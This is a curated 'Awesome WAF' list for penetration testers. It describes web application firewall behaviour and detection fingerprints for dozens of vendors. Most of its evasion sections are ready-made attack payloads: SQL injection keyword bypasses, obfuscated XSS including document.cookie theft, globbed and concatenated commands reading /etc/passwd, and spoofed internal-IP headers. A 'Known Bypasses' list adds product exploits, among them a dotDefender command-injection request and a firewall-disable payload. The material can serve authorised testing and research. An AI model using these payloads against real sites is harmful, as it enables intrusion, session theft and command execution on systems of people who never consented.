Awesome WAF

A curated list of awesome WAF stuff. 🔥

Foreword: This was originally my own collection on WAFs. I am open-sourcing it in the hope that it will be useful for pentesters and researchers out there. "The community just learns from each other." #SharingisCaring

A Concise Definition: A web application firewall is a security policy enforcement point positioned between a web application and the client endpoint. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components. (Source PCI DSS IS 6.6)

Feel free to contribute.

Contents:

• Introduction
  • How WAFs Work
  • Operation Modes
• Testing Methodology
  • Where To Look
  • Detection Techniques
• WAF Fingerprints
• Evasion Techniques
  • Fuzzing/Bruteforcing
  • Regex Reversing
  • Obfuscation/Encoding
  • Browser Bugs
  • HTTP Header Spoofing
  • Google Dorks Approach
• Known Bypasses
• Awesome Tooling
  • Fingerprinting
  • Testing
  • Evasion
• Blogs & Writeups
• Video Presentations
• Research Presentations & Papers
  • Research Papers
  • Presentation Slides
• Licensing & Credits

Introduction:

How WAFs Work:

• Using a set of rules to distinguish between normal requests and malicious requests.
• Sometimes they use a learning mode to add rules automatically through learning about user behaviour.

Operation Modes:

• Negative Model (Blacklist based) - A blacklisting model uses pre-set signatures to block web traffic that is clearly malicious, and signatures designed to prevent attacks which exploit certain website and web application vulnerabilities. Blacklisting model web application firewalls are a great choice for websites and web applications on the public internet, and are highly effective against an major types of DDoS attacks. Eg. Rule for blocking all <script>*</script> inputs.
• Positive Model (Whitelist based) - A whitelisting model only allows web traffic according to specifically configured criteria. For example, it can be configured to only allow HTTP GET requests from certain IP addresses. This model can be very effective for blocking possible cyber-attacks, but whitelisting will block a lot of legitimate traffic. Whitelisting model firewalls are probably best for web applications on an internal network that are designed to be used by only a limited group of people, such as employees.
• Mixed/Hybrid Model (Inclusive model) - A hybrid security model is one that blends both whitelisting and blacklisting. Depending on all sorts of configuration specifics, hybrid firewalls could be the best choice for both web applications on internal networks and web applications on the public internet.

Testing Methodology:

Where To Look:

• Always look out for common ports that expose that a WAF 80, 443, 8000, 8008, 8080, 8088.

  Tip: You can use automate this easily by commandline using a screenshot taker like WebScreenShot.

• Some WAFs set their own cookies in requests (eg. Citrix Netscaler, Yunsuo WAF).
• Some associate themselves with separate headers (eg. Anquanbao WAF, Amazon AWS WAF).
• Some often alter headers and jumble characters to confuse attacker (eg. Citrix Netscaler, F5 Big IP).
• Some (often rare) expose themselves in the Server header (eg. Approach, WTS WAF).
• Some WAFs expose themselves in the response content (eg. DotDefender, Armor, Sitelock).
• Other WAFs reply with unusual response codes upon malicious requests (eg. WebKnight, 360 WAF).

Detection Techniques:

1. Make a normal GET request from a browser, intercept and test response headers (specifically cookies).
2. Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).
3. If there is a login page somewhere, try some common (easily detectable) payloads like ' or 1 = 1 --.
4. If there is some input field somewhere, try with noisy payloads like <script>alert()</script>.
5. Make GET requests with outdated protocols like HTTP/0.9 (HTTP/0.9 does not support POST type queries).
6. Many a times, the WAF varies the Server header upon different types of interactions.
7. Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response.

   Tip: This method could be easily achieved with tools like HPing3 or Scapy.

8. Side Channel Attacks - Examine the timing behaviour of the request and response content.

WAF Fingerprints

Wanna detect WAFs? Lets see how.

Note

: This section contains manual WAF detection techniques. You might want to switch over to next section.

360 Firewall	Detectability: Easy Detection Methodology: Returns status code 493 upon unusual requests. On viewing source-code of error page, you will find reference to wzws-waf-cgi/ directory. Source code may contain reference to wangshan.360.cn URL. Response headers contain X-Powered-By-360WZB Header.
aeSecure	Detectability: Moderate Detection Methodology: Blocked response content contains aesecure_denied.png image (view source to see). Response headers contain aeSecure-code value.
Airlock (Phion/Ergon)	Detectability: Moderate/Difficult Detection Methodology: Set-Cookie headers may contain: AL-SESS cookie field name (case insensitive). AL-LB value (case insensitive).
Anquanbao WAF	Detectability: Easy Detection Methodology: Returns blocked HTTP response code 405 upon malicious requests. Blocked response content may contain /aqb_cc/error/ or hidden_intercept_time. Response headers contain X-Powered-by-Anquanbao header field.
Armor Defense	Detectability: Easy Detection Methodology: Blocked response content contains warning This request has been blocked by website protection from Armor.
Application Security Manager (F5 Networks)	Detectability: Difficult Detection Methodology: Blocked response content contains warning The requested URL was rejected. Please consult with your administrator.
Approach Firewall	Detectability: Easy Detection Methodology: Blocked response page content may contain: Approach Web Application Firewall heading. Your IP address has been logged and this information could be used by authorities to track you. warning. Sorry for the inconvenience! keyword. If this was an legitimate request please contact us with details! text snippet. Server header has field value set to Approach Web Application Firewall.
Amazon AWS WAF	Detectability: Moderate Detection Methodology: Response headers contain AWS value. Blocked response status code return 403 Forbidden response.
Baidu Yunjiasu	Detectability: Moderate Detection Methodology: Response headers contain Yunjiasu-ngnix value.
Barracuda WAF	Detectability: Moderate Detection Methodology: Response cookies may contain barra_counter_session value. Response headers may contain barracuda_ keyword.
Bekchy (Faydata)	Detectability: Easy Detection Methodology: Blocked response headers contains Bekchy - Access Denied. Blocked response page contains reference to https://bekchy.com/report.
BitNinja Firewall	Detectability: Easy Detection Methodology: Blocked response page may contain: Security check by BitNinja text snippet. your IP will be removed from BitNinja. Visitor anti-robot validation text snippet.
Bluedon IST	Detectability: Easy Detection Methodology: Server header contains BDWAF field value. Blocked response page contains to Bluedon Web Application Firewall text snippet..
BIG-IP ASM (F5 Networks)	Detectability: Moderate Detection Methodology: Response headers may contain BigIP or F5 keyword value. Response header fields may contain X-WA-Info header. Response headers might have jumbled X-Cnection field value.
BinarySec WAF	Detectability: Moderate Detection Methodology: Response headers contain binarysec keyword value.
BlockDos	Detectability: Moderate Detection Methodology: Response headers may contain reference to BlockDos.net URL.
ChinaCache Firewall	Detectability: Easy Detection Methodology: Response headers contain Powered-by-ChinaCache field. Blocked response codes contain 400 Bad Request error upon malicious request.
ACE XML Gateway (Cisco)	Detectability: Moderate Detection Methodology: Response headers have ACE XML Gateway value.
Cloudbric	Detectability: Moderate Detection Methodology: Response content has Cloudbric and Malicious Code Detected texts.
Cloudflare	Detectability: Easy Detection Methodology: Response headers might have cf-ray field value. Server header field has value cloudflare. Set-Cookie response headers have __cfuid= cookie field. Page content might have Attention Required! or Cloudflare Ray ID:. You may encounter CLOUDFLARE_ERROR_500S_BOX upon hitting invalid URLs.
Cloudfront (Amazon)	Detectability: Easy Detection Methodology: Blocked response content contains Error from cloudfront error upon malicious request.
Comodo Firewall	Detectability: Easy Detection Methodology: Response headers contain Protected by COMODO WAF value.
CrawlProtect (Jean-Denis Brun)	Detectability: Easy Detection Methodology: Response content contains value This site is protected by CrawlProtect.
GoDaddy Firewall	Detectability: Easy Detection Methodology: Blocked response page contains value Access Denied - GoDaddy Website Firewall.
IBM WebSphere DataPower	Detectability: Difficult Detection Methodology: Response headers contains field value value X-Backside-Transport with value OK or FAIL.
Deny-All Firewall	Detectability: Difficult Detection Methodology: Response content contains value Condition Intercepted. Set-Cookie header contains cookie field sessioncookie.
Distil Firewall	Detectability: Easy Detection Methodology: Response headers contain field value X-Distil-CS in all requests.
DoSArrest Internet Security	Detectability: Easy Detection Methodology: Response headers contain field value X-DIS-Request-ID. Response headers might contain DOSarrest keyword.
dotDefender	Detectability: Easy Detection Methodology: Blocked response content contains value dotDefender Blocked Your Request. Blocked response headers contain X-dotDefender-denied field value.
EdgeCast (Verizon)	Detectability: Easy Detection Methodology: Blocked response content contains value Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon). Blocked response code returns 400 Bad Request on malicious requests.
Expression Engine (EllisLab)	Detectability: Difficult Detection Methodology: Blocked response content contains value Invalid GET Request upon malicious GET queries. Blocked POST type queries contain Invalid POST Request in response content.
FortiWeb Firewall	Detectability: Moderate Detection Methodology: Blocked response content contains value .fgd_icon keyword. Response headers contain FORTIWAFSID= on malicious requests. Set-Cookie header has cookie field cookiesession1=.
GreyWizard Firewall	Detectability: Easy Detection Methodology: Blocked response page content contains: We've detected attempted attack or non standard traffic from your IP address text snippet. Blocked response page title contains Grey Wizard keyword. Response headers contain greywizard keyword.
HyperGuard Firewall	Detectability: Difficult Detection Methodology: Set-Cookie header has cookie field ODSESSION= in response headers.
Imperva SecureSphere	Detectability: Easy Detection Methodology: Blocked response page content may contain: Incapsula incident ID keyword. _Incapsula_Resource keyword. subject=WAF Block Page keyword. Normal GET request headers contain visid_incap value. Response headers may contain X-Iinfo header field name. Set-Cookie header has cookie field incap_ses in response headers.
Immunify360 (CloudLinux Inc.)	Detectability: Easy Detection Methodology: Headers contain imunify360 keyword. Response page contains: Powered by Imunify360 text snippet. imunify360 preloader if response type is JSON. Blocked response page contains protected by Imunify360 text.
ISAServer	Detectability: Difficult Detection Methodology: Response page contains: The ISA Server denied the specified Uniform Resource Locator (URL) text snippet. The server denied the specified Uniform Resource Locator (URL). Contact the server administrator. text snippet
Janusec Application Gateway	Detectability: Moderate Detection Methodology: Blocked response page displays Janusec Application Gateway on malicious requests.
Jiasule Firewall	Detectability: Easy Detection Methodology: Blocked response page contains reference to static.jiasule.com/static/js/http_error.js URL. Set-Cookie header has cookie field __jsluid= in response headers. Response headers have jiasule-WAF or jsl_tracking keywords. Blocked response content has notice-jiasule keyword.
KnownSec Firewall	Detectability: Moderate Detection Methodology: Blocked response page displays ks-waf-error.png image (view source to see).
KONA Site Defender (Akamai)	Detectability: Easy Detection Methodology: Headers contain AkamaiGHost keyword.
Malcare (Inactiv)	Detectability: Moderate Detection Methodology: Blocked response page may contains: Blocked because of Malicious Activities text snippet. Firewall powered by MalCare text snippet.
ModSecurity (Trustwave)	Detectability: Moderate/Difficult Detection Methodology: Blocked response page contains: This error was generated by Mod_Security text snippet. One or more things in your request were suspicious text snippet. rules of the mod_security module text snippet. Response headers may contain Mod_Security or NYOB keywords.
NAXSI (NBS Systems)	Detectability: Easy Detection Methodology: Response headers contain unusual field X-Data-Origin with value naxsi/waf keyword.
Netcontinuum (Barracuda)	Detectability: Moderate Detection Methodology: Session cookies contain NCI__SessionId= cookie field name.
NinjaFirewall (NinTechNet)	Detectability: Moderate Detection Methodology: Response page title contains NinjaFirewall: 403 Forbidden. Response page contains: For security reasons, it was blocked and logged text snippet. NinjaFirewall keyword. Returns a 403 Forbidden response upon malicious requests.
NetScaler (Citrix)	Detectability: Moderate Detection Methodology: Response headers may contain Connection: header field name jumbled to nnCoection: ns_af= cookie field name. citrix_ns_id field name. NSC_ keyword. NS-CACHE field value.
NewDefend Firewall	Detectability: Easy Detection Methodology: Response headers contain newdefend keyword.
NSFocus Firewall	Detectability: Easy Detection Methodology: Response headers contain NSFocus keyword.
onMessage Shield (Blackbaud)	Detectability: Easy Detection Methodology: Response headers contain unusual header X-Engine field with value onMessage Shield. Response page may contain onMessage SHIELD keyword. You might encounter response page with This site is protected by an enhanced security system to ensure a safe browsing experience.
Palo Alto Firewall	Detectability: Difficult Detection Methodology: Blocked response page contains the following text snippet has been blocked in accordance with company policy.
PerimeterX Firewall	Detectability: Easy Detection Methodology: Blocked response page contains reference to https://www.perimeterx.com/whywasiblocked URL.
Profense Firewall	Detectability: Moderate/Difficult Detection Methodology: Set-Cookie headers contain PLBSID= cookie field name. Response headers may contain Profense keyword.
Radware Appwall	Detectability: Moderate Detection Methodology: Response page contains the following text snippet: Unauthorized Activity Has Been Detected. and Case Number Response headers may contain X-SL-CompState header field name.
Reblaze Firewall	Detectability: Moderate Detection Methodology: Response headers contain rbzid= header field name. Response headers field values might contain Reblaze Secure Web Gateway text snippet.
Request Validation Mode (ASP.NET)	Detectability: Easy Detection Methodology: A firewall found specifically on ASP.NET websites and none others. Response page contains either of the following text snippet: ASP.NET has detected data in the request that is potentially dangerous. Request Validation has detected a potentially dangerous client input value. HttpRequestValidationException. Blocked response code returned is always 500 Internal Error.
RSFirewall (RSJoomla)	Detectability: Easy Detection Methodology: Response page contains: COM_RSFIREWALL_403_FORBIDDEN keyword. COM_RSFIREWALL_EVENT keyword.
Safe3 Firewall	Detectability: Easy Detection Methodology: Response headers contain Safe3 keyword.
SafeDog Firewall	Detectability: Easy/Moderate Detection Methodology: Response headers may contain: WAF/2.0 keyword. safedog field value.
SecureIIS (BeyondTrust)	Detectability: Easy Detection Methodology: Response page contains either of the following text snippet: SecureIIS Web Server Protection. Reference to http://www.eeye.com/SecureIIS/ URL. subject={somevalue} SecureIIS Error text snippet.
SEnginx (Neusoft)	Detectability: Easy Detection Methodology: Blocked response page contains SENGINX-ROBOT-MITIGATION keyword.
ShieldSecurity	Detectability: Difficult Detection Methodology: Blocked response page contains Something in the URL, Form or Cookie data wasn't appropriate text snippet.
SiteGround Firewall	Detectability: Difficult Detection Methodology: Blocked response page contains The page you are trying to access is restricted due to a security rule text snippet.
SiteGuard (JP Secure)	Detectability: Difficult Detection Methodology: Response page contains: Powered by SiteGuard text snippet. The server refuse to browse the page. text snippet.
SiteLock TrueShield	Detectability: Easy Detection Methodology: Blocked response page source contains the following: SiteLock Incident ID text snippet. sitelock-site-verification keyword. sitelock_shield_logo image.
SonicWall (Dell)	Detectability: Easy Detection Methodology: Response headers contain SonicWALL keyword value. Blocked response page contains either of the following text snippet: This request is blocked by the SonicWALL. #shd or #nsa_banner hashtags. Web Site Blocked text snippet.
Sophos UTM Firewall	Detectability: Easy Detection Methodology: Blocked response page contains Powered by UTM Web Protection keyword.
SquareSpace Firewall	Detectability: Difficult Detection Methodology: Response code returned is 404 Not Found upon malicious requests. Blocked response page contains either of the following text snippet: BRICK-50 keyword. 404 Not Found text snippet.
StackPath (StackPath LLC)	Detectability: Difficult Detection Methodology: Blocked response page contains You performed an action that triggered the service and blocked your request.
Stingray (RiverBed/Brocade)	Detectability: Difficult Detection Methodology: Blocked response code returns 403 Forbidden or 500 Internal Error. Response headers contain the X-Mapping header field name.
Sucuri CloudProxy	Detectability: Easy Detection Methodology: Response headers may contain Sucuri or Cloudproxy values. Blocked response page contains the following text snippet: Access Denied and Sucuri Website Firewall texts. Email cloudproxy@sucuri.net. Returns 403 Forbidden response code upon blocking.
Tencent Cloud WAF	Detectability: Moderate Detection Methodology: Blocked response code returns 405 Method Not Allowed error. Blocked response page contains reference to waf.tencent-cloud.com URL.
TrafficShield (F5 Networks)	Detectability: Moderate Detection Methodology: Response headers might contain F5-TrafficShield keyword. ASINFO= value might be detected in response headers.
URLMaster SecurityCheck (iFinity/DotNetNuke)	Detectability: Moderate Detection Methodology: Response headers might contain: UrlMaster keyword. UrlRewriteModule keyword. SecurityCheck keyword. Blocked response code returned is 400 Bad Request text snippet.
URLScan (Microsoft)	Detectability: Moderate Detection Methodology: Response headers might contain Rejected-by-URLScan field value. Blocked response page contains Rejected-by-URLScan text snippet.
USP Secure Entry	Detectability: Moderate Detection Methodology: Response headers contain Secure Entry Server field value.
Varnish (OWASP)	Detectability: Easy Detection Methodology: Response page contains Request rejected by xVarnish-WAF text snippet. Malicious request returns 404 Not Found Error.
VirusDie Firewall	Detectability: Easy Detection Methodology: Response page contains: http://cdn.virusdie.ru/splash/firewallstop.png picture. copy; Virusdie.ru text snippet. Response page title contains Virusdie keyword. Page metadata contains name="FW_BLOCK" keyword
WallArm (Nginx)	Detectability: Moderate Detection Methodology: Response headers contain nginx-wallarm text snippet.
WatchGuard Firewall	Detectability: Moderate Detection Methodology: Response headers contain WatchGuard header field value.
WebKnight (Aqtronix)	Detectability: Easy Detection Methodology: Response headers contain WebKnight keyword. Blocked response page contains: WebKnight Application Firewall Alert text warning. AQTRONIX WebKnight text snippet. Blocked response code returned is 999 No Hacking. :p
WP Cerber Firewall	Detectability: Moderate Detection Methodology: Blocked response page contains: We're sorry, you are not allowed to proceed text snippet. Your request looks suspicious or similar to automated requests from spam posting software warning.
Yundun Firewall	Detectability: Moderate Detection Methodology: Headers contain the yundun keyword.
Yunsuo Firewall	Detectability: Easy Detection Methodology: Blocked response page contains image class reference to .yunsuologo. Response headers contain the yunsuo_session field name.
ZenEdge Firewall	Detectability: Easy Detection Methodology: Blocked response page contains reference to zenedge/assets/ directory. Headers contain the ZENEDGE keyword.

Evasion Techniques

Lets look at some methods of bypassing and evading WAFs.

Fuzzing/Bruteforcing:

Method:

Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:

• Wordlists specifically for fuzzing
  • Seclists/Fuzzing.
  • Fuzz-DB/Attack
  • Other Payloads

Technique:

• Load up your wordlist into fuzzer and start the bruteforce.
• Record/log all responses from the different payloads fuzzed.
• Use random user-agents, ranging from Chrome Desktop to iPhone browser.
• If blocking noticed, increase fuzz latency (eg. 2-4 secs).
• Always use proxychains, since chances are real that your IP gets blocked.

Drawbacks:

• This method often fails.
• Many a times your IP will be blocked (temporarily/permanently).

Regex-Reversing:

Method:

• Most efficient method of bypassing WAFs.
• Some WAFs rely upon matching the attack payloads with the signatures in their databases.
• Payload matches the reg-ex the WAF triggers alarm.

Techniques:

Keyword Filter Detection/Bypass

Example: SQL Injection

• Step 1:

Keywords Filtered: and, or, union

• Filtered Injection: union select user, password from users
• Bypassed Injection: 1 || (select user from users where user_id = 1) = 'admin'

• Step 2:

Keywords Filtered: and, or, union, where

• Filtered Injection: 1 || (select user from users where user_id = 1) = 'admin'
• Bypassed Injection: 1 || (select user from users limit 1) = 'admin'

• Step 3:

Keywords Filtered: and, or, union, where, limit

• Filtered Injection: 1 || (select user from users limit 1) = 'admin'
• Bypassed Injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'

• Step 4:

Keywords Filtered: and, or, union, where, limit, group by

• Filtered Injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
• Bypassed Injection: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1

• Step 5:

Keywords Filtered: and, or, union, where, limit, group by, select

• Filtered Injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
• Bypassed Injection: 1 || 1 = 1 into outfile 'result.txt'
• Bypassed Injection: 1 || substr(user,1,1) = 'a'

• Step 6:

Keywords Filtered: and, or, union, where, limit, group by, select, '

• Filtered Injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
• Bypassed Injection: 1 || user_id is not null
• Bypassed Injection: 1 || substr(user,1,1) = 0x61
• Bypassed Injection: 1 || substr(user,1,1) = unhex(61)

• Step 7:

Keywords Filtered: and, or, union, where, limit, group by, select, ', hex

• Filtered Injection: 1 || substr(user,1,1) = unhex(61)
• Bypassed Injection: 1 || substr(user,1,1) = lower(conv(11,10,36))

• Step 8:

Keywords Filtered: and, or, union, where, limit, group by, select, ', hex, substr

• Filtered Injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
• Bypassed Injection: 1 || lpad(user,7,1)

• Step 9:

Keywords Filtered: and, or, union, where, limit, group by, select, ', hex, substr, white space

• Filtered Injection: 1 || lpad(user,7,1)
• Bypassed Injection: 1%0b||%0blpad(user,7,1)

Obfuscation:

Method:

• Encoding payload to different encodings (a hit and trial approach).
• You can encode whole payload, or some parts of it and test recursively.

Techniques:

1. Case Toggling

• Some poorly developed WAFs filter selectively specific case WAFs.
• We can combine upper and lower case characters for developing efficient payloads.

Standard: <script>alert()</script>
Bypassed: <ScRipT>alert()</sCRipT>

Standard: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Bypassed: sELecT * FrOM all_tables whERe OwNeR = 'DATABASE_NAME'

2. URL Encoding

• Encode normal payloads with % encoding/URL encoding.
• Can be done with online tools like this.
• Burp includes a in-built encoder/decoder.

Blocked: <svG/x=">"/oNloaD=confirm()//
Bypassed: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

Blocked: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Bypassed: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Unicode Encoding

• Most modern web-apps support UTF-8 and hence are prone to this method.
• ASCII characters in unicode encoding encoding provide great variants for bypassing.
• You can encode entire/part of the payload for obtaining results.

Standard: prompt()
Obfuscated: pro\u006dpt()

Standard: ../../appusers.txt
Obfuscated: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFappusers.txt

4. HTML Encoding

• Often web apps encode special characters into HTML encoding and render accordingly.
• This leads us to basic bypass cases with HTML encoding (numeric/generic).

Standard: "><img src=x onerror=confirm()>
Encoded: "><img src=x onerror=confirm()> (General form)
Encoded: "><img src=x onerror=confirm()> (Numeric reference)

5. Mixed Encoding

• WAF rules often tend to filter out a single type of encoding.
• This type of filters can be bypassed by mixed encoding payloads.
• Tabs and newlines further add to obfuscation.

Obfuscated:

<A HREF="h
tt  p://6   6.000146.0x7.147/">XSS</A>

6. Using Comments

• Comments obfuscate standard payload vectors.
• Different payloads have different ways of obfuscation.

Blocked: <script>alert()</script>
Bypassed: <!--><script>alert/**/()/**/</script>

Blocked: /?id=1+union+select+1,2,3---
Bypassed: /?id=1+un/**/ion+sel/**/ect+1,2,3-

7. Double Encoding

• Often WAF filters tend to encode characters to prevent attacks.
• However poorly developed filters (no recursion filters) can be bypassed with double encoding.

Standard: http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
Obfuscated: http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\

Standard: <script>alert('XSS')</script>
Obfuscated: %253Cscript%253Ealert('XSS')%253C%252Fscript%253E

8. Wildcard Encoding

• Globbing patterns are used by various command-line utilities to work with multiple files.
• We can tweak them to execute system commands.
• Specific to remote code execution vulnerabilities on linux systems.

Standard: /bin/cat /etc/passwd
Obfuscated: /???/??t /???/??ss??
Used chars: / ? t s

Standard: /bin/nc 127.0.0.1 1337
Obfuscated: /???/n? 2130706433 1337
Used chars: / ? n [0-9]

9. String Concatenation

• Different programming languages have different syntaxes and patterns for concatenation.
• This allows us to effectively generate payloads that can bypass many filters and rules.

Standard: /bin/cat /etc/passwd
Obfuscated: /bi'n/c'at' /e'tc'/pa'''ss'wd

Bash allows path concatenation for execution.

Standard: <iframe/onload='this["src"]="javascript:alert()"';>
Obfuscated: <iframe/onload='this["src"]="jav"+"as&Tab;cr"+"ipt:al"+"er"+"t()"';>

9. Junk Chars

• Normal payloads get filtered out easily.
• Adding some junk chars avoid detection (specific cases only).

Standard: <script>alert()</script>
Obfuscated: <script>+-+-1-+-+alert(1)</script>

Standard: <a href=javascript;alert()>ClickMe
Bypassed: <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe

10. Line Breaks

• Many WAF with regex based filtering effectively blocks many attempts.
• Line breaks (CR/LF) can break firewall regex and bypass stuff.

Standard: <iframe src=javascript:alert(0)">
Obfuscated: <iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(0)">

11. Uninitialized Variables

• Uninitialized bash variables can elude regular expression based filters and pattern match.
• Uninitialised variables have value null/they act like empty strings.
• Both bash and perl allow this kind of interpretations.

Standard: cat /etc/passwd
Obfuscated: cat$u $u/etc$u/passwd$u

Browser Bugs:

Charset Bugs:

• We can try changing charset header to higher Unicode (eg. UTF-32) and test payloads.
• When the site decodes the string, the payload gets triggered.

Example request:

GET /page.php?p=%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Charset:utf-32; q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

When the site loads, it will be encoded to the UTF-32 encoding that we set, and then as the output encoding of the page is utf-8, it will be rendered as: "<script>alert (1) </ script>.

Final URL encoded payload: %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

Null Bytes:

• The null bytes are commonly used as string terminator.
• This can help us evade many web application filters in case they are not filtering out the null bytes.

Payload examples:

<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

Parsing Bugs:

• RFC states that NodeNames cannot begin with whitespace.
• But we can use special chars like %, //, !, ?, etc.

Examples:

• <// style=x:expression\28write(1)\29> - Works upto IE7 (Source)
• <!--[if]><script>alert(1)</script --> - Works upto IE9 (Reference)
• <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Works in IE7 (Reference)
• <%div%20style=xss:expression(prompt(1))> - Works Upto IE7

Unicode Separators:

• Every browser has their own specific charset of separators.
• We can fuzz charset range of 0x00 to 0xFF and get the set of separators for each browser.

Here is a compiled list of separators:

• IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3B
• Chrome: 0x09, 0x20, 0x28, 0x2C, 0x3B
• Safari: 0x2C, 0x3B
• FireFox: 0x09, 0x20, 0x28, 0x2C, 0x3B
• Opera: 0x09, 0x20, 0x2C, 0x3B
• Android: 0x09, 0x20, 0x28, 0x2C, 0x3B

An exotic payload:

<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

Request Header Spoofing:

Method:

• The target is to fool the WAF/server into believing it was from their internal network.
• Adding some spoofed headers to represent the internal network, does the trick.

Technique:

• With each request some set of headers are to be added simultaneously thus spoofing the origin.
• The upstream proxy/WAF misinterprets the request was from their internal network, and lets our gory payload through.

Some common headers used:

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1

Google Dorks Approach:

Method:

• There are a lot of known bypasses of various web application firewalls (see section).
• With the help of google dorks, we can easily find bypasses.

Techniques:

Before anything else, you should hone up skills from Google Dorks Cheat Sheet.

• Normal search:
  +<wafname> waf bypass

• Searching for specific version exploits:
  "<wafname> <version>" (bypass|exploit)

• For specific type bypass exploits:
  "<wafname>" +<bypass type> (bypass|exploit)

• On Exploit DB:
  site:exploit-db.com +<wafname> bypass

• On 0Day Inject0r DB:
  site:0day.today +<wafname> <type> (bypass|exploit)

• On Twitter:
  site:twitter.com +<wafname> bypass

• On Pastebin
  site:pastebin.com +<wafname> bypass

Known Bypasses: Incomplete

Citrix NetScaler

• HTTP Parameter Pollution (NS10.5) @BGA Security

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
   <soapenv:Header/>
   <soapenv:Body>
        <string>’ union select current_user, 2#</string>
    </soapenv:Body>
</soapenv:Envelope>

• generic_api_call.pl XSS by @NNPoster

/ws/generic_api_call.pl?function=statns&standalone=%3c/script%3e%3cscript%3ealert(document.cookie)%3c/script%3e%3cscript%3e

Cloudflare

• XSS Bypass by @ArbazKiraak

<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;\u0061\u006C\u0065\u0072\u0074&lpar;this['document']['cookie']&rpar;">X</a>`

Comodo

• SQLi by @WAFNinja

0 union/**/select 1,version(),@@datadir

Barracuda

• Cross Site Scripting by @WAFNinja

<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>

• HTML Injection by @Global-Evolution

GET /cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net%20width%3D800%20height%3D800%3E&&user=guest&&password=121c34d4e85dfe6758f31ce2d7b763e7&&et=1261217792&&locale=en_US
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)

• Barracuda WAF 8.0.1 - Remote Command Execution (Metasploit) by @xort
• Barracuda Spam & Virus Firewall 5.1.3 - Remote Command Execution (Metasploit) by @xort

DotDefender

• Firewall disable by (v5.0) by @hyp3rlinx

PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+
<enabled>false</enabled>

• Remote Command Execution (v3.8-5) by @John Dos

POST /dotDefender/index.cgi HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Authorization: Basic YWRtaW46
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

sitename=dotdefeater&deletesitename=dotdefeater;id;ls -al ../;pwd;&action=deletesite&linenum=15

• Persistent XSS (v4.0) by @EnableSecurity

GET /c?a=<script> HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
